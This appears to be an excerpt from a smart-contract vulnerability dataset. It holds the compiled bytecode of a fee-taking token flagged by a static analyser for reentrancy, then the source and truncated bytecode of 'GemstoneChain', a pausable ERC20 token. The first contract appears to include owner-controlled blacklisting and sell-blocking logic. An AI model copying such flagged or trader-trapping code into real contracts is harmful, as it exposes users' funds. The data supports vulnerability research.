8051808201909152600781526657414754414d4160c81b602082015290565b600061066a610a61611062565b8484611152565b610a70611062565b6000546001600160a01b03908116911614610ac0576040805162461bcd60e51b8152602060048201819052602482015260008051602061213d833981519152604482015290519081900360640190fd5b60005b815181101561072757600160066000848481518110610ade57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610ac3565b610b20611062565b6000546001600160a01b03908116911614610b70576040805162461bcd60e51b8152602060048201819052602482015260008051602061213d833981519152604482015290519081900360640190fd5b6000610b7b30610960565b9050610b86816115be565b4761072781611621565b610b98611062565b6000546001600160a01b03908116911614610be8576040805162461bcd60e51b8152602060048201819052602482015260008051602061213d833981519152604482015290519081900360640190fd5b6013805460ff19166001179055600f54600160a01b900460ff1615610c54576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b600d80546001600160a01b0319166001600160a01b0383811691909117918290558291610c90913091166b033b2e3c9fd0803ce8000000611066565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cc957600080fd5b505afa158015610cdd573d6000803e3d6000fd5b505050506040513d6020811015610cf357600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610d4357600080fd5b505afa158015610d57573d6000803e3d6000fd5b505050506040513d6020811015610d6d57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610dbf57600080fd5b505af1158015610dd3573d6000803e3d6000fd5b505050506040513d6020811015610de957600080fd5b5051600f80546001600160a01b039283166001600160a01b03199182161791829055600e8054909116918316919091179055600d541663f305d7193430610e2f81610960565b600080610e3a610a24565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610ea557600080fd5b505af1158015610eb9573d6000803e3d6000fd5b50505050506040513d6060811015610ed057600080fd5b5050600f80546001600160a01b039081166000908152600560209081526040808320805460ff1916600117905584546a295be96e640669ad9aca0060105560ff60a01b1960ff60b81b1960ff60b01b19909216600160b01b1791909116600160b81b1716600160a01b1794859055600d54815163095ea7b360e01b8152908516600482015260001960248201529051949093169363095ea7b393604480820194918390030190829087803b158015610f8757600080fd5b505af1158015610f9b573d6000803e3d6000fd5b505050506040513d6020811015610fb157600080fd5b50506013805460ff191690555050565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610ff4611062565b6000546001600160a01b03908116911614611044576040805162461bcd60e51b8152602060048201819052602482015260008051602061213d833981519152604482015290519081900360640190fd5b600f8054911515600160b01b0260ff60b01b19909216919091179055565b3390565b6001600160a01b0383166110ab5760405162461bcd60e51b81526004018080602001828103825260248152602001806121ab6024913960400191505060405180910390fd5b6001600160a01b0382166110f05760405162461bcd60e51b81526004018080602001828103825260228152602001806120d26022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166111975760405162461bcd60e51b81526004018080602001828103825260258152602001806121866025913960400191505060405180910390fd5b6001600160a01b0382166111dc5760405162461bcd60e51b81526004018080602001828103825260238152602001806120856023913960400191505060405180910390fd5b6000811161121b5760405162461bcd60e51b815260040180806020018281038252602981526020018061215d6029913960400191505060405180910390fd5b60135460ff1615611235576000600a819055600b55611240565b6002600a556008600b555b6001600160a01b038316301480159061126757506011546001600160a01b03838116911614155b801561128c5750611276610a24565b6001600160a01b0316836001600160a01b031614155b80156112b1575061129b610a24565b6001600160a01b0316826001600160a01b031614155b156114b7576001600160a01b03831660009081526006602052604090205460ff161580156112f857506001600160a01b03821660009081526006602052604090205460ff16155b61130157600080fd5b600f546001600160a01b03848116911614801561132c5750600d546001600160a01b03838116911614155b801561135157506001600160a01b03821660009081526005602052604090205460ff16155b80156113665750600f54600160b81b900460ff165b1561137a5760105481111561137a57600080fd5b600f546001600160a01b0383811691161480156113a1575060026010548161139e57fe5b06155b156113dd5760405162461bcd60e51b81526004018080602001828103825260298152602001806121cf6029913960400191505060405180910390fd5b60135460ff161580156113fd5750600f546001600160a01b038381169116145b80156114175750600d546001600160a01b03848116911614155b801561143c57506001600160a01b03831660009081526005602052604090205460ff16155b1561144c576002600a908155600b555b600f54600160a81b900460ff161580156114745750600f546001600160a01b03848116911614155b80156114895750600f54600160b01b900460ff165b156114b757600061149930610960565b90506114a4816115be565b4780156114b4576114b447611621565b50505b6114c283838361165b565b505050565b600081848411156115565760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561151b578181015183820152602001611503565b50505050905090810190601f1680156115485780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60006008548211156115a15760405162461bcd60e51b815260040180806020018281038252602a8152602001806120a8602a913960400191505060405180910390fd5b60006115ab611666565b90506115b78382611689565b9392505050565b600f805460ff60a81b1916600160a81b1790556013805460ff19166001179055601154600160a01b900460ff16156115fe576115f9816116cb565b611607565b61160781611981565b506013805460ff19169055600f805460ff60a81b19169055565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610727573d6000803e3d6000fd5b6114c2838383611b30565b6000806000611673611c25565b90925090506116828282611689565b9250505090565b60006115b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c70565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106116fa57fe5b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561174e57600080fd5b505afa158015611762573d6000803e3d6000fd5b505050506040513d602081101561177857600080fd5b505181518290600190811061178957fe5b6001600160a01b039283166020918202929092010152600d546117af9130911684611066565b60008060006117bc611cd5565b925092509250600d60009054906101000a90046001600160a01b03166001600160a01b031663791ac9478660008730426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561185c578181015183820152602001611844565b505050509050019650505050505050600060405180830381600087803b15801561188557600080fd5b505af1158015611899573d6000803e3d6000fd5b5050505060008060006118aa611cd5565b9194509250905060006118bd8584611e25565b905060006118cb8583611e7e565b90506118ed60646118e760125484611e2590919063ffffffff16565b90611689565b600f5460115491925061190d916001600160a01b03918216911683611152565b600e60009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561195d57600080fd5b505af1158015611971573d6000803e3d6000fd5b5050505050505050505050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106119b057fe5b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611a0457600080fd5b505afa158015611a18573d6000803e3d6000fd5b505050506040513d6020811015611a2e57600080fd5b5051815182906001908110611a3f57fe5b6001600160a01b039283166020918202929092010152600d54611a659130911684611066565b600d5460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b83811015611aeb578181015183820152602001611ad3565b505050509050019650505050505050600060405180830381600087803b158015611b1457600080fd5b505af1158015611b28573d6000803e3d6000fd5b505050505050565b600080600080600080611b4287611ec0565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611b749087611e7e565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611ba39086611f1d565b6001600160a01b038916600090815260026020526040902055611bc581611f77565b611bcf8483611fc1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce8000000611c448282611689565b821015611c66576008546b033b2e3c9fd0803ce8000000935093505050611c6c565b90925090505b9091565b60008183611cbf5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561151b578181015183820152602001611503565b506000838581611ccb57fe5b0495945050505050565b6000806000806000600e60009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015611d2b57600080fd5b505afa158015611d3f573d6000803e3d6000fd5b505050506040513d6060811015611d5557600080fd5b508051602091820151600e5460408051630dfe168160e01b8152905193965091945060009330936001600160a01b0390921692630dfe16819260048083019392829003018186803b158015611da957600080fd5b505afa158015611dbd573d6000803e3d6000fd5b505050506040513d6020811015611dd357600080fd5b50516001600160a01b031614905080611dec5781611dee565b825b6001600160701b0316955080611e045782611e06565b815b6001600160701b03169450611e1b8686611689565b9350505050909192565b600082611e345750600061066e565b82820282848281611e4157fe5b04146115b75760405162461bcd60e51b81526004018080602001828103825260218152602001806120f46021913960400191505060405180910390fd5b60006115b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114c7565b6000806000806000806000806000611edd8a600a54600b54611fe5565b9250925092506000611eed611666565b90506000806000611f008e878787612034565b919e509c509a509598509396509194505050505091939550919395565b6000828201838110156115b7576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611f81611666565b90506000611f8f8383611e25565b30600090815260026020526040902054909150611fac9082611f1d565b30600090815260026020526040902055505050565b600854611fce9083611e7e565b600855600954611fde9082611f1d565b6009555050565b6000808080611ff960646118e78989611e25565b9050600061200c60646118e78a89611e25565b905060006120248261201e8b86611e7e565b90611e7e565b9992985090965090945050505050565b60008080806120438886611e25565b905060006120518887611e25565b9050600061205f8888611e25565b905060006120718261201e8686611e7e565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735472616e73616374696f6e206d757374206265206c657373207468616e206d61785478416d6f756e74a2646970667358221220fdcd678ed48af38b6d7c83fe68662eaa4dde9cab6be28e427330f2b2985f085c64736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,668 |
0xd7959dedb9532bd9a0fbeb9a3b6ab5b9d711d410 | pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title DetailedERC20 token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract GemstoneChain is PausableToken, DetailedERC20
{
constructor() DetailedERC20("Gemstone Chain", "GESC", 18) public
{
totalSupply_ = 2000000000 * 10 ** 18;
balances[msg.sender] = totalSupply();
}
} | 0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018657806318160ddd146101eb57806323b872dd14610216578063313ce5671461029b5780633f4ba83a146102cc5780635c975abb146102e3578063661884631461031257806370a0823114610377578063715018a6146103ce5780638456cb59146103e55780638da5cb5b146103fc57806395d89b4114610453578063a9059cbb146104e3578063d73dd62314610548578063dd62ed3e146105ad578063f2fde38b14610624575b600080fd5b34801561010257600080fd5b5061010b610667565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014b578082015181840152602081019050610130565b50505050905090810190601f1680156101785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019257600080fd5b506101d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610705565b604051808215151515815260200191505060405180910390f35b3480156101f757600080fd5b50610200610735565b6040518082815260200191505060405180910390f35b34801561022257600080fd5b50610281600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061073f565b604051808215151515815260200191505060405180910390f35b3480156102a757600080fd5b506102b0610771565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d857600080fd5b506102e1610784565b005b3480156102ef57600080fd5b506102f8610844565b604051808215151515815260200191505060405180910390f35b34801561031e57600080fd5b5061035d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610857565b604051808215151515815260200191505060405180910390f35b34801561038357600080fd5b506103b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610887565b6040518082815260200191505060405180910390f35b3480156103da57600080fd5b506103e36108cf565b005b3480156103f157600080fd5b506103fa6109d4565b005b34801561040857600080fd5b50610411610a95565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561045f57600080fd5b50610468610abb565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104a857808201518184015260208101905061048d565b50505050905090810190601f1680156104d55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104ef57600080fd5b5061052e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b59565b604051808215151515815260200191505060405180910390f35b34801561055457600080fd5b50610593600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b89565b604051808215151515815260200191505060405180910390f35b3480156105b957600080fd5b5061060e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b34801561063057600080fd5b50610665600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c40565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106fd5780601f106106d2576101008083540402835291602001916106fd565b820191906000526020600020905b8154815290600101906020018083116106e057829003601f168201915b505050505081565b6000600360149054906101000a900460ff1615151561072357600080fd5b61072d8383610ca8565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561075d57600080fd5b610768848484610d9a565b90509392505050565b600660009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107e057600080fd5b600360149054906101000a900460ff1615156107fb57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff1615151561087557600080fd5b61087f8383611154565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561092b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a3057600080fd5b600360149054906101000a900460ff16151515610a4c57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b515780601f10610b2657610100808354040283529160200191610b51565b820191906000526020600020905b815481529060010190602001808311610b3457829003601f168201915b505050505081565b6000600360149054906101000a900460ff16151515610b7757600080fd5b610b8183836113e5565b905092915050565b6000600360149054906101000a900460ff16151515610ba757600080fd5b610bb18383611604565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c9c57600080fd5b610ca581611800565b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610dd757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e2457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610eaf57600080fd5b610f00826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118fc90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f93826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461191590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061106482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118fc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611265576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112f9565b61127883826118fc90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561142257600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561146f57600080fd5b6114c0826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118fc90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611553826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461191590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061169582600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461191590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673f